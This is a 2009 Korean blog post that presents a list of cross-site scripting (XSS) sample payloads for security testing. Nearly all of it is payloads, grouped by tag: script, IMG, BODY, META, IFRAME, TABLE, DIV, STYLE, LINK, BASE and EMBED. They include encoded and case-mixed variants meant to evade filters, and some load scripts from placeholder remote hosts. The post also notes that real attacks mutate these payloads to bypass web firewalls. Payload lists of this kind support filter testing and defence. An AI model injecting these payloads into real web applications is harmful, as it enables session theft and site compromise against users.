2009년 8월 10일 월요일

XSS 공격 Sample Code

XSS 공격은 다양한 형태의 취약성과 결합하여 피해와 위험 모두 커지고 있습니다.

 

이에 대표적인 XSS 공격 셈플 코드를 보시고 필요하신 분들은 보안 테스트를 해보시기 바랍니다.

 

본 코드들은 대부분의 웹어플리케이션 보안시스템(웹방화벽 등)에서는 시그니쳐 등에 의해서 기본적으로 필터링이 되는것이 당연할 테니 실제로 해킹에 적용할때는 다양한 변형방법을 통한

코드 변조가 이뤄집니다.

대표적으로 다양한 TAG나 자바스크립트등을 이용하는데, 이 방법 역시 다양한 코드 변환 기법이 있어 막는자 입장에서는 쉽지 않은 게임이라고 봅니다.

 

 

 

===================================샘플 코드 시작=======================================

 

[1] XSS Javascript Injection

      <SCRIPT SRC=http://xxx/xss.js></SCRIPT>

 

[2] Image XSS의 다양한 Type

      <IMG SRC="#">

      <IMG SRC=javascript:alert!('XSS')>

      <IMG SRC=JaVaScRiPt:alert!('XSS')>

      <IMG SRC=javascript:alert!("XSS")>

      <IMG SRC=`javascript:alert!("RSnake says, 'XSS'")`>

      <IMG """><SCRIPT>alert!("XSS")</SCRIPT>">

      <IMG SRC=javascript:alert!(String.fromCharCode(88,83,83))>

      <IMG SRC=javascript:alert('XSS')>

      <IMG SRC=javascript:alert('XSS')>

      <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="jav ascript:alert!('XSS');">

      <IMG SRC="   javascript:alert!('XSS');">

      <IMG SRC="#"

      <IMG DYNSRC="javascript:alert!('XSS')">

      <IMG LOWSRC="javascript:alert!('XSS')">

      <IMG SRC='vbscript!:msgbox("XSS")'>

 

[3] Non-alpha-non-digit XSS

      <SCRIPT/XSS SRC="http://xxxx/xss.js"></SCRIPT>

 

[4] Title Tag XSS

      </TITLE><SCRIPT>alert!("XSS");</SCRIPT>

 

[5] Input Tag XSS

      <INPUT TYPE="IMAGE" SRC="#">

 

[6] Body Tag XSS

      <BODY BACKGROUND="javascript:alert!('XSS')">

      <BODY >

 

[7] Meta Tag XSS

      <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert!('XSS');">

      <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert!('XSS');">

 

[8] Frame Tag XSS

      <IFRAME SRC="#"></IFRAME>

      <iframe src=http://xxxx/scriptlet.html <

      <FRAMESET><FRAME SRC="#"></FRAMESET>

 

[9] Table Tag XSS

      <TABLE BACKGROUND="javascript:alert!('XSS')">

      <TABLE><TD BACKGROUND="javascript:alert!('XSS')">

 

[10] DIV Tag XSS

      <DIV STYLE="background-image: url(javascript:alert!('XSS'))">

      <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">

      <DIV STYLE="background-image: url(javascript:alert!('XSS'))">

      <DIV STYLE="width: expression!(alert!('XSS'));">

 

[11] Style Tag XSS

      <STYLE>@import!'http://xxx/xss.css';</STYLE>

      <XSS STYLE="behavior: url(xss.htc);">

      <STYLE>li {list-style-image: url("javascript:alert!('XSS')");}</STYLE><UL><LI>XSS

      <STYLE>@im\port'\ja\vasc\ript:alert!("XSS")';</STYLE>

      <IMG STYLE="xss:expr/*XSS*/ession(alert!('XSS'))">

      <XSS STYLE="xss:expression!(alert!('XSS'))">

      <STYLE>.XSS{background-image:url("javascript:alert!('XSS')");}</STYLE><A CLASS=XSS></A>

      <STYLE type="text/css">BODY{background:url("javascript:alert!('XSS')")}</STYLE>

 

[12] Various Tag XSS

      <LINK REL="stylesheet" HREF="javascript:alert!('XSS');">

      <LINK REL="stylesheet" HREF=http://xxx/xss.css>

      <!--[if gte IE 4]><SCRIPT>alert!('XSS');</SCRIPT><![endif]-->

      <BASE HREF="javascript:alert!('XSS');//">

      <EMBED SRC=http://xxxx/xss.swf AllowScriptAccess="always"></EMBED>

 

[13] Other Types

      <<SCRIPT>alert!("XSS");//<</SCRIPT>

      <SCRIPT>a=/XSS/alert!(a.source)</SCRIPT>

      \";alert!('XSS');//

      ¼script¾alert!(¢XSS¢)¼/script¾